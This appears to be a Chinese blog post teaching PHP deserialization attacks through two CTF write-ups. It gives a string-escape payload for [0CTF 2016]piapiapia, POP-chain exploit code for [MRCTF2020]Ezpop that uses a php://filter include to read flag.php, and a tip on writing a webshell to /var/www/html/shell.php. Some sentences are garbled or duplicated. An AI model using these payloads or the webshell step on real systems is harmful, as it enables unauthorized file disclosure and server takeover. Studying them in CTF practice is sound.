WEB安全之反序列化

108 阅读1分钟

开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第14天,点击查看活动详情

0x6、反序列化

unserilize($a) ,利用某一个类中的危险函数

一定要注意private 和protect有不可见字符private要加%00 ,如果是python脚本提交要\x00

还要注意url编码的问题

如果用bash写入一句话木马,注意要对$转义

echo "" > /var/www/html/shell.php;

序列化的时候最好加一个urlencode(wakeup/ __ destruct在哪序列化哪,碰到哪个就赋值哪个,先从危险函数找起)

var_dump(urlencode(serialize($b)));

一、反序列化字符串逃逸

例题 [0CTF 2016]piapiapia

在profile.php处有unserialize()反序列化函数,同时发现profile['photo']在file_get_contents()函数中,而通过阅读源代码发现flag在config.php中,所以我们只需要将profile['photo']的值设置为config.php即可。

#profile.php

$profile = unserialize($profile);

$phone = $profile['phone'];

$email = $profile['email'];

$nickname = $profile['nickname'];

$photo = base64_encode(file_get_contents($profile['photo'])); # profile['photo']可控

经过进一步发掘,发现$profile是从数据库中拿取经过序列化后的档案值,同时发现update.php中可以修改档案值,而update_profile函数会调用父类中的filter方法进行过滤.

#update.php

if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

  


$username = $_SESSION['username'];

if(!preg_match('/^\d{11}$/', $_POST['phone']))

die('Invalid phone');

  


if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))

die('Invalid email');

  


if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) #nikename[]可绕过

die('Invalid nickname');

  


$file = $_FILES['photo'];

if($file['size'] < 5 or $file['size'] > 1000000)

die('Photo size error');

  


move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));

$profile['phone'] = $_POST['phone'];

$profile['email'] = $_POST['email'];

$profile['nickname'] = $_POST['nickname'];

$profile['photo'] = 'upload/' . md5($file['name']);

  


$user->update_profile($username, serialize($profile));

echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';

}

  


#class.php

public function filter($string) {

    $escape = array('\'', '\\\\');

    $escape = '/' . implode('|', $escape) . '/';

    $string = preg_replace($escape, '_', $string);




    $safe = array('select', 'insert', 'update', 'delete', 'where');

    $safe = '/' . implode('|', $safe) . '/i';

    return preg_replace($safe, 'hacker', $string);

}

正常序列化后的值为

a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:8:"11@11.11";s:8:"nickname";a:1:{i:0;s:3:"111";}s:5:"photo";s:10:"upload/234";}

如果将nikename构造为,wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

因为filter函数将where过滤为hacker,每多出一位就会挤出一位,由于";}s:5:"photo";s:10:"config.php";}有34位那么就需要34个where

注意点:这里有一个坑点,由于要绕过长度限制的正则,因此nikename我们设置为数组,在构造值的时候要多一个}

a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:8:"11@11.11";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:10:"upload/234";}

二、POP链构造

eg:[MRCTF2020]Ezpop

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

__construct 当一个对象创建时被调用,

__toString 当一个对象被当作一个字符串被调用。

__wakeup() 使用unserialize时触发

__get() 用于从不可访问的属性读取数据

#难以访问包括:(1)私有属性,(2)没有初始化的属性

__invoke() 当脚本尝试将对象调用为函数时触发

当对象调用不可访问属性时,就会自动触发get魔法方法

在对象调用不可访问函数时,就会自动触发call魔法方法。

根据以上题目,当用get方法传一个pop参数后,会自动调用Show类的_wakeup()魔术方法。

_wakeup()通过preg_match()将this>source做字符串比较,如果this->source做字符串比较,如果this->source是Show类,就调用了__toString()方法;

如果__toString()其中str赋值为一个实例化的Test类,那么其类不含有source属性,所以会调用Test中的_get()方法。

如果_get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()方法。

利用文件包含漏洞,使用_invoke()读取flag.php的内容。

Modifier::__invoke()<--Test::__get()<--Show::__toString()

1

总结: 首先反序列化一个实例化的Show(a),就会调wakeup(),其中a),就会调用_wakeup(),其中a会被赋值给source。所以让a是一个实例化的Show类,这样就会调tostring(),然后让里面的a是一个实例化的Show类,这样就会调用_tostring(),然后让里面的a这个Show类中的str赋值为Test()类,然后让str这个Test()类中的p赋值为Modifier()类。

class Modifier {

    protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";

    public function append($value){

        include($value);

    }

    public function __invoke(){

        $this->append($this->var);

    }

}

  


$b = new Modifier();

$c = new Test();

$c->p = $b;

  


$a = new Show();

$d = new Show();

$a->source = $d;

$d->str = $c;

  


var_dump(urlencode(serialize($a)));